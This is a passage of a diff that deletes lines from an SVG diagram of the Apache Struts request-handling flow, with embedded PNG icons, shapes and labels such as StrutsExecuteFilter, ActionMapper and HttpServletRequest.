-      <image x="0" y="0" clip-path="url(#clipPath20)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(27.052,0,0,1,32,0)" clip-path="url(#clipPath21)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,897.6632,0)" clip-path="url(#clipPath22)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" pres [...]
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,0,32)" clip-path="url(#clipPath23)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,897.6632,32)" clip-path="url(#clipPath24)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,40)" clip-path="url(#clipPath25)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspect [...]
-      <image x="0" y="0" transform="matrix(27.052,0,0,1,32,40)" clip-path="url(#clipPath26)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,897.6632,40)" clip-path="url(#clipPath27)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg== [...]
-      <path fill="rgb(255,153,0)" d="M-25 199 L872.6632 199 L872.6632 210 Q872.6632 220 862.6632 220 L-15 220 Q-25 220 -25 210 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,38,-167)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient3)" d="M-25 190 Q-25 180 -15 180 L862.6632 180 Q872.6632 180 872.6632 190 L872.6632 200 L-25 200 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,38,-167)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(217,130,0)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(217,130,0)">
-      <path fill="none" d="M-23 190 Q-23 182 -15 182 L862.6632 182 Q870.6632 182 870.6632 190 L870.6632 210 Q870.6632 218 862.6632 218 L-15 218 Q-23 218 -23 210 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M-23 190 Q-23 182 -15 182 L862.6632 182 Q870.6632 182 870.6632 190 L870.6632 210 Q870.6632 218 862.6632 218 L-15 218 Q-23 218 -23 210 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="351.3746" xml:space="preserve" y="206.0469" clip-path="url(#clipPath2)" stroke="none">StrutsExecuteFilter</text>
-    </g>
-    <g transform="matrix(1,0,0,1,425.6825,47.1615)" image-rendering="optimizeQuality">
-      <image x="0" y="0" clip-path="url(#clipPath28)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,0)" clip-path="url(#clipPath29)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,0)" clip-path="url(#clipPath30)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" pres [...]
-      <image x="0" y="0" transform="matrix(1,0,0,0.5625,0,32)" clip-path="url(#clipPath31)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,0.5625,228.1168,32)" clip-path="url(#clipPath32)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,50)" clip-path="url(#clipPath33)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspect [...]
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,50)" clip-path="url(#clipPath34)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,50)" clip-path="url(#clipPath35)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg== [...]
-      <path fill="silver" d="M398.6825 35.1615 L626.7993 35.1615 L626.7993 51.1615 Q626.7993 61.1615 616.7993 61.1615 L408.6825 61.1615 Q398.6825 61.1615 398.6825 51.1615 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-385.6825,1.8385)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient4)" d="M398.6825 21.1615 Q398.6825 11.1615 408.6825 11.1615 L616.7993 11.1615 Q626.7993 11.1615 626.7993 21.1615 L626.7993 36.1615 L398.6825 36.1615 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-385.6825,1.8385)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(163,163,163)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(163,163,163)">
-      <path fill="none" d="M400.6825 21.1615 Q400.6825 13.1615 408.6825 13.1615 L616.7993 13.1615 Q624.7993 13.1615 624.7993 21.1615 L624.7993 51.1615 Q624.7993 59.1615 616.7993 59.1615 L408.6825 59.1615 Q400.6825 59.1615 400.6825 51.1615 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M400.6825 21.1615 Q400.6825 13.1615 408.6825 13.1615 L616.7993 13.1615 Q624.7993 13.1615 624.7993 21.1615 L624.7993 51.1615 Q624.7993 59.1615 616.7993 59.1615 L408.6825 59.1615 Q400.6825 59.1615 400.6825 51.1615 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="438.8581" xml:space="preserve" y="42.2084" clip-path="url(#clipPath2)" stroke="none">HttpServletRequest</text>
-    </g>
-    <g transform="matrix(1,0,0,1,602,326)" image-rendering="optimizeQuality">
-      <image x="0" y="0" clip-path="url(#clipPath36)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,0)" clip-path="url(#clipPath37)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,0)" clip-path="url(#clipPath38)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" pres [...]
-      <image x="0" y="0" transform="matrix(1,0,0,1.5,0,32)" clip-path="url(#clipPath39)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1.5,228.1168,32)" clip-path="url(#clipPath40)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,80)" clip-path="url(#clipPath41)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspect [...]
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,80)" clip-path="url(#clipPath42)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,80)" clip-path="url(#clipPath43)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg== [...]
-      <path fill="rgb(0,102,153)" d="M575 329 L803.1168 329 L803.1168 360 Q803.1168 370 793.1168 370 L585 370 Q575 370 575 360 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-562,-277)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient5)" d="M575 300 Q575 290 585 290 L793.1168 290 Q803.1168 290 803.1168 300 L803.1168 330 L575 330 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-562,-277)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(0,87,130)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,87,130)">
-      <path fill="none" d="M577 300 Q577 292 585 292 L793.1168 292 Q801.1168 292 801.1168 300 L801.1168 360 Q801.1168 368 793.1168 368 L585 368 Q577 368 577 360 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M577 300 Q577 292 585 292 L793.1168 292 Q801.1168 292 801.1168 300 L801.1168 360 Q801.1168 368 793.1168 368 L585 368 Q577 368 577 360 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="635.1483" xml:space="preserve" y="336.0469" clip-path="url(#clipPath2)" stroke="none">ActionMapper</text>
-    </g>
-    <g transform="matrix(1,0,0,1,671.5464,47.1615)" image-rendering="optimizeQuality">
-      <image x="0" y="0" clip-path="url(#clipPath44)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,0)" clip-path="url(#clipPath45)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,0)" clip-path="url(#clipPath46)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" pres [...]
-      <image x="0" y="0" transform="matrix(1,0,0,0.5625,0,32)" clip-path="url(#clipPath47)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,0.5625,228.1168,32)" clip-path="url(#clipPath48)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,50)" clip-path="url(#clipPath49)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspect [...]
-      <image x="0" y="0" transform="matrix(6.1287,0,0,1,32,50)" clip-path="url(#clipPath50)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,228.1168,50)" clip-path="url(#clipPath51)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg== [...]
-      <path fill="silver" d="M644.5464 35.1615 L872.6632 35.1615 L872.6632 51.1615 Q872.6632 61.1615 862.6632 61.1615 L654.5464 61.1615 Q644.5464 61.1615 644.5464 51.1615 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-631.5464,1.8385)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient6)" d="M644.5464 21.1615 Q644.5464 11.1615 654.5464 11.1615 L862.6632 11.1615 Q872.6632 11.1615 872.6632 21.1615 L872.6632 36.1615 L644.5464 36.1615 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,-631.5464,1.8385)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(163,163,163)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(163,163,163)">
-      <path fill="none" d="M646.5464 21.1615 Q646.5464 13.1615 654.5464 13.1615 L862.6632 13.1615 Q870.6632 13.1615 870.6632 21.1615 L870.6632 51.1615 Q870.6632 59.1615 862.6632 59.1615 L654.5464 59.1615 Q646.5464 59.1615 646.5464 51.1615 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M646.5464 21.1615 Q646.5464 13.1615 654.5464 13.1615 L862.6632 13.1615 Q870.6632 13.1615 870.6632 21.1615 L870.6632 51.1615 Q870.6632 59.1615 862.6632 59.1615 L654.5464 59.1615 Q646.5464 59.1615 646.5464 51.1615 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="678.722" xml:space="preserve" y="42.2084" clip-path="url(#clipPath2)" stroke="none">HttpServletResponse</text>
-    </g>
-    <g fill="white" transform="matrix(1,0,0,1,40,49)" stroke="white">
-      <rect x="-15.9992" width="276.7133" height="102.323" y="-33.6274" clip-path="url(#clipPath2)" stroke="none"/>
-      <image x="0" y="0" transform="translate(-6.1426,-27.6274) scale(1.028,1.028)" clip-path="url(#clipPath52)" width="250" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPoAAABMCAYAAABEf6pVAAAgAElEQVR42u1dCXgU&#10;VbY+HZKQAAmBIGswBAMCgvIQGBQGAojiPHnwFB7LfKIyyvBcUEd0QHAEH3wyjk8Q&#10;YUb90FHkQ1l8oqIiWyJKCIssEyBhEVwCASRkBUJY+tV/O6e5Xanuruqu6u5Ane/r&#10;L52ku6ruPee/Z7nnnEtkk0022WSTTTbVfnLYU2CTTbWPsrKynNu3b6eCggLq3Lkz&#10;de/enbp27eoICdCPHPnRWVJaSsWVDmoU5xR/w/sWSXHUsUN7e1GxyaYga [...]
-    </g>
-    <g stroke-width="3" stroke-miterlimit="1.45" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <path fill="none" d="M75 355.4351 L75 491.6732" clip-path="url(#clipPath2)"/>
-      <path d="M75 341.6851 L67.5 356.6851 L82.5 356.6851 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path d="M75 505.4232 L82.5 490.4232 L67.5 490.4232 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M175 300 L373.6881 300 L373.6881 451.2326" clip-path="url(#clipPath2)"/>
-      <path d="M373.6881 464.9826 L381.1881 449.9826 L366.1881 449.9826 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M499.0873 515.0261 L499.0873 571.2944" clip-path="url(#clipPath2)"/>
-      <path d="M499.0873 585.0444 L506.5873 570.0444 L491.5873 570.0444 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M523.8516 595.9246 L561.2145 595.9246" clip-path="url(#clipPath2)"/>
-      <path d="M574.9645 595.9246 L559.9645 588.4246 L559.9645 603.4246 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M602.9152 542.5589 L602.9152 343.1718 L777.2321 343.1718 L777.2321 528.7929" clip-path="url(#clipPath2)"/>
-      <path d="M777.2321 542.5429 L784.7321 527.5429 L769.7321 527.5429 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M574.9927 635.0773 L537.5682 635.0773" clip-path="url(#clipPath2)"/>
-      <path d="M523.8182 635.0773 L538.8182 642.5773 L538.8182 627.5773 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M75 220.0366 L75 244.5649" clip-path="url(#clipPath2)"/>
-      <path d="M75 258.3149 L82.5 243.3149 L67.5 243.3149 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M606.6034 61.1749 L606.6034 276.2495" clip-path="url(#clipPath2)"/>
